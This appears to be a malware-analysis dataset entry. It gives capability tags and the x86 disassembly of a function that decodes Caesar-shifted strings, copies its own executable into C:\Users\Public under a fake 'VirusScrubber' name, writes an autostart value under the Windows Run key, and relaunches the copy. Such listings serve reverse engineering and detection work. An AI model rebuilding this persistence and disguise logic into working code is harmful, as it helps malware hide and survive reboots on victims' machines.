Function at 0x4012d0
Capabilities:
Copy file
Create process on windows
Query or enumerate registry value
Set registry value
Terminate process

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x64c
mov eax, dword [0x41f004]
xor eax, ebp
mov dword [ebp - 4], eax
movups xmm0, xmmword [str.045VRIWZDUHPlfurvriwZlqgrzvFxuuhqwYhuvlrqUxq]
mov al, byte [0x41d818]
lea ecx, [ebp - 0xa0]
push esi
movups xmmword [ebp - 0xa0], xmm0
mov byte [ebp - 0x70], al
lea eax, [ebp - 0x648]
movups xmm0, xmmword [0x41d7f8]
push eax
push 0x20019
movups xmmword [ebp - 0x90], xmm0
push 0
movups xmm0, xmmword [0x41d808]
mov dword [ebp - 0x5e4], 0x100
movups xmmword [ebp - 0x80], xmm0
call section..text
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push eax
push connect
call esi
test eax, eax
jne 0x4015b1
mov eax, dword [0x41d824]
lea ecx, [ebp - 0x10]
movq xmm0, qword [str.008Xvhulqlw]
mov dword [ebp - 8], eax
lea eax, [ebp - 0x5e4]
push eax
lea eax, [ebp - 0x5e0]
movq qword [ebp - 0x10], xmm0
push eax
lea eax, [ebp - 0x5e8]
push eax
push 0
call section..text
push eax
push dword [ebp - 0x648]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x4015b1
push 0x200
lea eax, [ebp - 0x4e0]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x200
lea eax, [ebp - 0x2e0]
push 0
push eax
call fcn.00404260
movzx eax, word [0x41d860]
lea ecx, [ebp - 0x40]
movups xmm0, xmmword [str.015F:XvhuvSxeolf]
mov word [ebp - 0x50], ax
add esp, 0xc
movzx eax, byte [0x41d862]
mov byte [ebp - 0x4e], al
movzx eax, word [0x41d874]
movups xmmword [ebp - 0x60], xmm0
mov word [ebp - 0x30], ax
movups xmm0, xmmword [str.015ffYluxvVfuxeehu]
movzx eax, byte [0x41d876]
mov byte [ebp - 0x2e], al
movups xmmword [ebp - 0x40], xmm0
call section..text
push eax
lea ecx, [ebp - 0x60]
call section..text
push eax
lea eax, [ebp - 0x2e0]
push str._s_s.exe
push eax
call fcn.00401070
movups xmm0, xmmword [str.045VRIWZDUHPlfurvriwZlqgrzvFxuuhqwYhuvlrqUxq]
movzx eax, byte [0x41d818]
lea ecx, [ebp - 0xe0]
add esp, 0x10
mov byte [ebp - 0xb0], al
movups xmmword [ebp - 0xe0], xmm0
movups xmm0, xmmword [0x41d7f8]
movups xmmword [ebp - 0xd0], xmm0
movups xmm0, xmmword [0x41d808]
movups xmmword [ebp - 0xc0], xmm0
call section..text
lea ecx, [ebp - 0x644]
push ecx
push 0xf003f
push 0
push eax
push connect
call esi
test eax, eax
jne 0x4014f6
movq xmm0, qword [str.008Xvhulqlw]
lea ecx, [ebp - 0x2e0]
mov eax, dword [0x41d824]
lea edx, [ecx + 1]
movq qword [ebp - 0x1c], xmm0
mov dword [ebp - 0x14], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4014c0
sub ecx, edx
lea eax, [ebp - 0x2e0]
push ecx
push eax
push 1
push 0
lea ecx, [ebp - 0x1c]
call section..text
push eax
push dword [ebp - 0x644]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x644]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 0x2e0]
push 1
push eax
lea eax, [ebp - 0x4e0]
push eax
call esi
test eax, eax
jne 0x401550
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
lea eax, [ebp - 0x2e0]
push eax
lea eax, [ebp - 0x4e0]
push eax
call esi
test eax, eax
jne 0x401550
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
lea eax, [ebp - 0x2e0]
push eax
lea eax, [ebp - 0x4e0]
push eax
call esi
push 0x44
lea eax, [ebp - 0x640]
push 0
push eax
call fcn.00404260
add esp, 0xc
mov dword [ebp - 0x640], 0x44
xor eax, eax
mov word [ebp - 0x610], ax
lea eax, [ebp - 0x5f8]
push eax
lea eax, [ebp - 0x640]
push eax
push 0
push 0
push 0x28
push 1
push 0
push 0
lea eax, [ebp - 0x2e0]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x4015c3
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.004031d1
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push 0
call fcn.00406ea4
int3